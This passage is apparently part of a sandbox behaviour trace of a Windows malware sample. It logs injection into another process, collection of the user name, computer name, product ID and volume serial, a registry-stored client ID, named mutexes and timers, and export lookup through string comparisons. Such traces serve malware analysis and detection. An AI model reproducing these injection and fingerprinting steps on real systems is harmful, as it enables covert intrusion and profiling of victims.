[37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 0x0 [0044.561] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0044.561] NtWriteVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x1f0000, Buffer=0x986faf0*, NumberOfBytesToWrite=0x318, NumberOfBytesWritten=0x6adf2b0 | out: Buffer=0x986faf0*, NumberOfBytesWritten=0x6adf2b0*=0x318) returned 0x0 [0044.561] NtSetContextThread (ThreadHandle=0x1220, Context=0x6adedc0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100003, MxCsr=0x0, SegCs=0x23, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x1f0000, Rcx=0x0, Rdx=0x420efa, Rbx=0x7efde000, Rsp=0x2bfdd4, Rbp=0x2bfddc, Rsi=0x0, Rdi=0x0, R8=0x773501c4, R9=0x2bfb58, R10=0x0, R11=0x202, R12=0x7efdb000, R13=0x12fd20, R14=0x12eac0, R15=0x747b2450, Rip=0x1f0218, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 0x0 [0044.561] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0044.561] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x986faf0 | out: hHeap=0x9770000) returned 1 [0044.561] NtUnmapViewOfSection (ProcessHandle=0xffffffffffffffff, BaseAddress=0x9b70000) returned 0x0 [0044.633] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0044.633] CloseHandle (hObject=0x11f8) returned 1 [0044.633] VirtualProtectEx (in: hProcess=0x1210, lpAddress=0x420efa, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x6adf918 | out: lpflOldProtect=0x6adf918*=0x20) returned 1 [0044.634] NtWriteVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x420efa, Buffer=0x6adf3f0*, NumberOfBytesToWrite=0x4, NumberOfBytesWritten=0x6adf3a0 | out: Buffer=0x6adf3f0*, NumberOfBytesWritten=0x6adf3a0*=0x4) returned 0x0 [0044.659] VirtualProtectEx (in: hProcess=0x1210, lpAddress=0x420efa, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x6adf918 | out: lpflOldProtect=0x6adf918*=0x40) returned 1 [0044.660] ResumeThread (hThread=0x1220) returned 0x1 [0044.694] CloseHandle (hObject=0x1220) returned 1 [0044.694] CloseHandle (hObject=0x1210) returned 1 [0044.694] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x986fac0 | out: hHeap=0x9770000) returned 1 [0044.694] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x986fa90 | out: hHeap=0x9770000) returned 1 [0044.697] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6db70 | out: hHeap=0x9770000) returned 1 [0044.698] GetProcAddress (hModule=0x7fefd710000, lpProcName="RegCreateKeyA") returned 0x7fefd717c50 [0044.698] RegCreateKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", phkResult=0x6adfc90 | out: phkResult=0x6adfc90*=0x1208) returned 0x0 [0044.743] GetProcAddress (hModule=0x7fefd710000, lpProcName="RegQueryValueExA") returned 0x7fefd72c480 [0044.743] RegQueryValueExA (in: hKey=0x1208, lpValueName="Client", lpReserved=0x0, lpType=0x6adfc88, lpData=0x9517ba0, lpcbData=0x6adfc80*=0x2c | out: lpType=0x6adfc88*=0x0, lpData=0x9517ba0*=0x0, lpcbData=0x6adfc80*=0x2c) returned 0x2 [0044.743] GetProcAddress (hModule=0x7fefd710000, lpProcName="GetUserNameW") returned 0x7fefd721fd0 [0044.743] GetUserNameW (in: lpBuffer=0x0, pcbBuffer=0x6adfc40 | out: lpBuffer=0x0, pcbBuffer=0x6adfc40) returned 0 [0044.744] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x12) returned 0x9b6db70 [0044.744] GetUserNameW (in: lpBuffer=0x9b6db70, pcbBuffer=0x6adfc40 | out: lpBuffer="aETAdzjz", pcbBuffer=0x6adfc40) returned 1 [0044.744] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6db70 | out: hHeap=0x9770000) returned 1 [0044.744] GetComputerNameW (in: lpBuffer=0x0, nSize=0x6adfc40 | out: lpBuffer=0x0, nSize=0x6adfc40) returned 0 [0044.745] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x10) returned 0x9b6db70 [0044.745] GetComputerNameW (in: lpBuffer=0x9b6db70, nSize=0x6adfc40 | out: lpBuffer="YKYD69Q", nSize=0x6adfc40) returned 1 [0044.745] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6db70 | out: hHeap=0x9770000) returned 1 [0044.745] RegSetValueExA (in: hKey=0x1208, lpValueName="Client", Reserved=0x0, dwType=0x3, lpData=0x9517ba0*, cbData=0x2c | out: lpData=0x9517ba0*) returned 0x0 [0044.745] RegCloseKey (hKey=0x1208) returned 0x0 [0044.745] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x27) returned 0x9b6db70 [0044.745] wsprintfA (in: param_1=0x9b6db70, param_2="%08x%08x%08x%08x" | out: param_1="c1bfad56d6eccbb57e3f355780659e32") returned 32 [0044.745] GetComputerNameA (in: lpBuffer=0x6adfb70, nSize=0x6adfc80 | out: lpBuffer="YKYD69Q", nSize=0x6adfc80) returned 1 [0044.745] lstrlenA (lpString="YKYD69Q") returned 7 [0044.745] RegOpenKeyExA (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x6adfb60 | out: phkResult=0x6adfb60*=0x1208) returned 0x0 [0044.745] RegQueryValueExA (in: hKey=0x1208, lpValueName="ProductID", lpReserved=0x0, lpType=0x0, lpData=0x6adfb70, lpcbData=0x6adfc80*=0x100 | out: lpType=0x0, lpData=0x6adfb70*=0x30, lpcbData=0x6adfc80*=0x18) returned 0x0 [0044.745] lstrlenA (lpString="00371-223-0192772-86275") returned 23 [0044.745] RegQueryValueExA (in: hKey=0x1208, lpValueName="ProductName", lpReserved=0x0, lpType=0x0, lpData=0x6adfb70, lpcbData=0x6adfc80*=0x100 | out: lpType=0x0, lpData=0x6adfb70*=0x57, lpcbData=0x6adfc80*=0x17) returned 0x0 [0044.745] lstrlenA (lpString="Windows 7 Professional") returned 22 [0044.745] RegQueryValueExA (in: hKey=0x1208, lpValueName="CurrentVersion", lpReserved=0x0, lpType=0x0, lpData=0x6adfb70, lpcbData=0x6adfc80*=0x100 | out: lpType=0x0, lpData=0x6adfb70*=0x36, lpcbData=0x6adfc80*=0x4) returned 0x0 [0044.745] lstrlenA (lpString="6.1") returned 3 [0044.745] RegQueryValueExA (in: hKey=0x1208, lpValueName="InstallDate", lpReserved=0x0, lpType=0x0, lpData=0x6adfb68, lpcbData=0x6adfc80*=0x4 | out: lpType=0x0, lpData=0x6adfb68*=0x8a, lpcbData=0x6adfc80*=0x4) returned 0x0 [0044.745] RegCloseKey (hKey=0x1208) returned 0x0 [0044.746] GetVolumeInformationA (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x6adfc98, lpMaximumComponentLength=0x6adfc80, lpFileSystemFlags=0x6adfc90, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x6adfc98*=0x705ba84c, lpMaximumComponentLength=0x6adfc80*=0xff, lpFileSystemFlags=0x6adfc90*=0x3e700ff, lpFileSystemNameBuffer=0x0) returned 1 [0044.746] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x30) returned 0x9b6dba0 [0044.746] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x94cbf48, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x6adfcc0 | out: lpThreadId=0x6adfcc0*=0xb00) returned 0x1208 [0044.746] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x7fefea30000 [0044.747] GetProcAddress (hModule=0x7fefea30000, lpProcName="CreateStreamOnHGlobal") returned 0x7fefeb15fb0 [0044.747] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x95186f8 | out: ppstm=0x95186f8*=0x72b44a0) returned 0x0 [0044.748] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x1058) returned 0x9a8f7c0 [0044.748] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x11dc [0044.748] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x94e15fc, lpParameter=0x95188b0, dwCreationFlags=0x0, lpThreadId=0x95188b8 | out: lpThreadId=0x95188b8*=0xb04) returned 0x1210 [0044.748] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x94cf04c, lpParameter=0x9518760, dwCreationFlags=0x0, lpThreadId=0x9518768 | out: lpThreadId=0x9518768*=0xb08) returned 0x1220 [0044.749] OpenWaitableTimerA (dwDesiredAccess=0x100002, bInheritHandle=0, lpTimerName="Local\\{E12FFA4A-CC07-BBA0-DEA5-C01FF2A9F4C3}") returned 0x0 [0044.749] CreateWaitableTimerA (lpTimerAttributes=0x9518880, bManualReset=1, lpTimerName="Local\\{E12FFA4A-CC07-BBA0-DEA5-C01FF2A9F4C3}") returned 0x11f8 [0044.750] GetLastError () returned 0x0 [0044.750] GetProcAddress (hModule=0x7fefd5c0000, lpProcName="PathFindFileNameA") returned 0x7fefd5c86c4 [0044.750] PathFindFileNameA (pszPath="Local\\{E12FFA4A-CC07-BBA0-DEA5-C01FF2A9F4C3}") returned="{E12FFA4A-CC07-BBA0-DEA5-C01FF2A9F4C3}" [0044.750] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", phkResult=0x6adfc20 | out: phkResult=0x6adfc20*=0x11d4) returned 0x0 [0044.750] RegQueryValueExA (in: hKey=0x11d4, lpValueName="{E12FFA4A-CC07-BBA0-DEA5-C01FF2A9F4C3}", lpReserved=0x0, lpType=0x6adfbc0, lpData=0x0, lpcbData=0x6adfc68*=0x9518768 | out: lpType=0x6adfbc0*=0x0, lpData=0x0, lpcbData=0x6adfc68*=0x0) returned 0x2 [0044.750] RegCloseKey (hKey=0x11d4) returned 0x0 [0044.750] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x6adfbf8 | out: lpSystemTimeAsFileTime=0x6adfbf8*(dwLowDateTime=0xca82a7f0, dwHighDateTime=0x1d51ed4)) [0044.750] PathFindFileNameA (pszPath="Local\\{E12FFA4A-CC07-BBA0-DEA5-C01FF2A9F4C3}") returned="{E12FFA4A-CC07-BBA0-DEA5-C01FF2A9F4C3}" [0044.750] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", phkResult=0x6adfb90 | out: phkResult=0x6adfb90*=0x11d4) returned 0x0 [0044.750] RegSetValueExA (in: hKey=0x11d4, lpValueName="{E12FFA4A-CC07-BBA0-DEA5-C01FF2A9F4C3}", Reserved=0x0, dwType=0x3, lpData=0x6adfbf8*, cbData=0x8 | out: lpData=0x6adfbf8*) returned 0x0 [0044.751] RegCloseKey (hKey=0x11d4) returned 0x0 [0044.751] SetWaitableTimer (hTimer=0x11f8, lpDueTime=0x6adfbf8, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0044.751] OpenWaitableTimerA (dwDesiredAccess=0x100002, bInheritHandle=0, lpTimerName="Local\\{722AD44B-2987-7426-43C6-6DE8275AF19C}") returned 0x0 [0044.751] CreateWaitableTimerA (lpTimerAttributes=0x9518880, bManualReset=1, lpTimerName="Local\\{722AD44B-2987-7426-43C6-6DE8275AF19C}") returned 0x11d4 [0044.751] GetLastError () returned 0x0 [0044.751] SetWaitableTimer (hTimer=0x11d4, lpDueTime=0x6adfc68, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0044.751] OpenMutexA (dwDesiredAccess=0x100001, bInheritHandle=0, lpName="Local\\{FCF9E212-2B0D-8EC0-95F0-8FA2992433F6}") returned 0x0 [0044.751] CreateMutexA (lpMutexAttributes=0x9518880, bInitialOwner=0, lpName="Local\\{FCF9E212-2B0D-8EC0-95F0-8FA2992433F6}") returned 0x11e4 [0044.751] CreateEventA (lpEventAttributes=0x9518880, bManualReset=1, bInitialState=0, lpName="Local\\{DD80286F-988C-17A7-8A61-4C3B5E25409F}") returned 0x11bc [0044.751] OpenWaitableTimerA (dwDesiredAccess=0x100002, bInheritHandle=0, lpTimerName="Local\\{38D59AEE-3717-2A0B-81EC-5BFE45E0BF12}") returned 0x0 [0044.751] CreateWaitableTimerA (lpTimerAttributes=0x9518880, bManualReset=1, lpTimerName="Local\\{38D59AEE-3717-2A0B-81EC-5BFE45E0BF12}") returned 0x11cc [0044.751] GetLastError () returned 0x0 [0044.751] SetWaitableTimer (hTimer=0x11cc, lpDueTime=0x6adfc68, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0044.751] OpenMutexA (dwDesiredAccess=0x100001, bInheritHandle=0, lpName="Local\\{4B67ACB1-2E14-B54D-90AF-42B9C45396FD}") returned 0x0 [0044.751] CreateMutexA (lpMutexAttributes=0x9518880, bInitialOwner=0, lpName="Local\\{4B67ACB1-2E14-B54D-90AF-42B9C45396FD}") returned 0x5cc [0044.751] OpenWaitableTimerA (dwDesiredAccess=0x100002, bInheritHandle=0, lpTimerName="Local\\{70017650-0FA6-225C-19A4-B3765D18970A}") returned 0x0 [0044.751] CreateWaitableTimerA (lpTimerAttributes=0x9518880, bManualReset=1, lpTimerName="Local\\{70017650-0FA6-225C-19A4-B3765D18970A}") returned 0x948 [0044.751] GetLastError () returned 0x0 [0044.751] SetWaitableTimer (hTimer=0x948, lpDueTime=0x6adfc68, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0044.751] OpenMutexA (dwDesiredAccess=0x100001, bInheritHandle=0, lpName="Local\\{A3415127-A63A-CD11-C887-3A517CAB0E15}") returned 0x0 [0044.751] CreateMutexA (lpMutexAttributes=0x9518880, bInitialOwner=0, lpName="Local\\{A3415127-A63A-CD11-C887-3A517CAB0E15}") returned 0x59c [0044.752] LoadLibraryA (lpLibFileName="ADVAPI32.DLL") returned 0x7fefd710000 [0044.752] GetModuleHandleA (lpModuleName="ADVAPI32.DLL") returned 0x7fefd710000 [0044.752] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f0a0 [0044.752] lstrcmpA (lpString1="A_SHAFinal", lpString2="CryptGetUserKey") returned -1 [0044.752] lstrcmpA (lpString1="A_SHAInit", lpString2="CryptGetUserKey") returned -1 [0044.752] lstrcmpA (lpString1="A_SHAUpdate", lpString2="CryptGetUserKey") returned -1 [0044.752] lstrcmpA (lpString1="AbortSystemShutdownA", lpString2="CryptGetUserKey") returned -1 [0044.752] lstrcmpA (lpString1="AbortSystemShutdownW", lpString2="CryptGetUserKey") returned -1 [0044.752] lstrcmpA (lpString1="AccessCheck", lpString2="CryptGetUserKey") returned -1 [0044.752] lstrcmpA (lpString1="AccessCheckAndAuditAlarmA", lpString2="CryptGetUserKey") returned -1 [0044.752] lstrcmpA (lpString1="AccessCheckAndAuditAlarmW", lpString2="CryptGetUserKey") returned -1 [0044.752] lstrcmpA (lpString1="AccessCheckByType", lpString2="CryptGetUserKey") returned -1 [0044.753] lstrcmpA (lpString1="AccessCheckByTypeAndAuditAlarmA", lpString2="CryptGetUserKey") returned -1 [0044.753] lstrcmpA (lpString1="AccessCheckByTypeAndAuditAlarmW", lpString2="CryptGetUserKey") returned -1 [0044.753] lstrcmpA (lpString1="AccessCheckByTypeResultList", lpString2="CryptGetUserKey") returned -1 [0044.753] lstrcmpA (lpString1="AccessCheckByTypeResultListAndAuditAlarmA", lpString2="CryptGetUserKey") returned -1 [0044.753] lstrcmpA (lpString1="AccessCheckByTypeResultListAndAuditAlarmByHandleA", lpString2="CryptGetUserKey") returned -1 [0044.753] lstrcmpA (lpString1="AccessCheckByTypeResultListAndAuditAlarmByHandleW", lpString2="CryptGetUserKey") returned -1 [0044.753] lstrcmpA (lpString1="AccessCheckByTypeResultListAndAuditAlarmW", lpString2="CryptGetUserKey") returned -1 [0044.753] lstrcmpA (lpString1="AddAccessAllowedAce", lpString2="CryptGetUserKey") returned -1 [0044.753] lstrcmpA (lpString1="AddAccessAllowedAceEx", lpString2="CryptGetUserKey") returned -1 [0044.753] lstrcmpA (lpString1="AddAccessAllowedObjectAce", lpString2="CryptGetUserKey") returned -1 [0044.753] lstrcmpA (lpString1="AddAccessDeniedAce", lpString2="CryptGetUserKey") returned -1 [0044.753] lstrcmpA (lpString1="AddAccessDeniedAceEx", lpString2="CryptGetUserKey") returned -1 [0044.753] lstrcmpA (lpString1="AddAccessDeniedObjectAce", lpString2="CryptGetUserKey") returned -1 [0044.753] lstrcmpA (lpString1="AddAce", lpString2="CryptGetUserKey") returned -1 [0044.753] lstrcmpA (lpString1="AddAuditAccessAce", lpString2="CryptGetUserKey") returned -1 [0044.753] lstrcmpA (lpString1="AddAuditAccessAceEx", lpString2="CryptGetUserKey") returned -1 [0044.753] lstrcmpA (lpString1="AddAuditAccessObjectAce", lpString2="CryptGetUserKey") returned -1 [0044.753] lstrcmpA (lpString1="AddConditionalAce", lpString2="CryptGetUserKey") returned -1 [0044.753] lstrcmpA (lpString1="AddMandatoryAce", lpString2="CryptGetUserKey") returned -1 [0044.753] lstrcmpA (lpString1="AddUsersToEncryptedFile", lpString2="CryptGetUserKey") returned -1 [0044.753] lstrcmpA (lpString1="AddUsersToEncryptedFileEx", lpString2="CryptGetUserKey") returned -1 [0044.753] lstrcmpA (lpString1="AdjustTokenGroups", lpString2="CryptGetUserKey") returned -1 [0044.753] lstrcmpA (lpString1="AdjustTokenPrivileges", lpString2="CryptGetUserKey") returned -1 [0044.753] lstrcmpA (lpString1="AllocateAndInitializeSid", lpString2="CryptGetUserKey") returned -1 [0044.753] lstrcmpA (lpString1="AllocateLocallyUniqueId", lpString2="CryptGetUserKey") returned -1 [0044.753] lstrcmpA (lpString1="AreAllAccessesGranted", lpString2="CryptGetUserKey") returned -1 [0044.753] lstrcmpA (lpString1="AreAnyAccessesGranted", lpString2="CryptGetUserKey") returned -1 [0044.753] lstrcmpA (lpString1="AuditComputeEffectivePolicyBySid", lpString2="CryptGetUserKey") returned -1 [0044.753] lstrcmpA (lpString1="AuditComputeEffectivePolicyByToken", lpString2="CryptGetUserKey") returned -1 [0044.753] lstrcmpA (lpString1="AuditEnumerateCategories", lpString2="CryptGetUserKey") returned -1 [0044.753] lstrcmpA (lpString1="AuditEnumeratePerUserPolicy", lpString2="CryptGetUserKey") returned -1 [0044.753] lstrcmpA (lpString1="AuditEnumerateSubCategories", lpString2="CryptGetUserKey") returned -1 [0044.753] lstrcmpA (lpString1="AuditFree", lpString2="CryptGetUserKey") returned -1 [0044.753] lstrcmpA (lpString1="AuditLookupCategoryGuidFromCategoryId", lpString2="CryptGetUserKey") returned -1 [0044.753] lstrcmpA (lpString1="AuditLookupCategoryIdFromCategoryGuid", lpString2="CryptGetUserKey") returned -1 [0044.753] lstrcmpA (lpString1="AuditLookupCategoryNameA", lpString2="CryptGetUserKey") returned -1 [0044.754] lstrcmpA (lpString1="AuditLookupCategoryNameW", lpString2="CryptGetUserKey") returned -1 [0044.754] lstrcmpA (lpString1="AuditLookupSubCategoryNameA", lpString2="CryptGetUserKey") returned -1 [0044.754] lstrcmpA (lpString1="AuditLookupSubCategoryNameW", lpString2="CryptGetUserKey") returned -1 [0044.754] lstrcmpA (lpString1="AuditQueryGlobalSaclA", lpString2="CryptGetUserKey") returned -1 [0044.754] lstrcmpA (lpString1="AuditQueryGlobalSaclW", lpString2="CryptGetUserKey") returned -1 [0044.754] lstrcmpA (lpString1="AuditQueryPerUserPolicy", lpString2="CryptGetUserKey") returned -1 [0044.754] lstrcmpA (lpString1="AuditQuerySecurity", lpString2="CryptGetUserKey") returned -1 [0044.754] lstrcmpA (lpString1="AuditQuerySystemPolicy", lpString2="CryptGetUserKey") returned -1 [0044.754] lstrcmpA (lpString1="AuditSetGlobalSaclA", lpString2="CryptGetUserKey") returned -1 [0044.754] lstrcmpA (lpString1="AuditSetGlobalSaclW", lpString2="CryptGetUserKey") returned -1 [0044.754] lstrcmpA (lpString1="AuditSetPerUserPolicy", lpString2="CryptGetUserKey") returned -1 [0044.754] lstrcmpA 